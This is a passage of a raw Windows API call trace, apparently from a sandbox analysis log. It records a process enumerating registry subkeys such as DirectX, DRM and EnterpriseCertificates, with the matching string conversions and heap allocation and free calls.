cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0136.743] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.743] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.743] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.743] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.743] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xa9b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0136.743] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.743] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0136.743] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.743] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.743] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.743] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.743] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xa9b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0136.743] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.743] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0xa9c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0136.743] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.743] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.743] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.743] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.743] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xa9b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0136.743] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.744] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.744] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.744] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.744] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xa9b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0xa9c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.744] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.744] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.744] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.744] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xa9b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0xa9c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.744] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.744] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.744] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.744] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xa9b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0xa9c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0136.744] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.745] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.745] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.745] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.745] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xa9b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0136.745] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.745] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0136.745] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.745] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.745] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.745] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.745] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xa9b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0136.745] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.745] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0xa9c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0136.745] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.745] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.745] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.745] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.745] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xa9b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0136.745] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.745] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.746] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xa9b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0xa9c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.746] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xa9b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0xa9c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.746] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xa9b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0xa9c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.746] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.746] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xa9b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.746] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0136.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.747] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xa9b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0136.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0xa9c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0136.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.747] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xa9b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0136.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0136.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.747] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xa9b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0136.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0xa9c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0136.747] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.747] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.747] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xa9b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0136.748] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.748] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0136.748] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.748] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.748] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.748] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.748] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xa9b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0136.748] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0136.748] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0xa9c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0136.748] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.748] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.748] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.748] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.748] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xa9b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0136.748] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.748] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0136.748] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.748] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.748] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.748] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.748] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xa9b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xa9c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.749] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xa9b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, 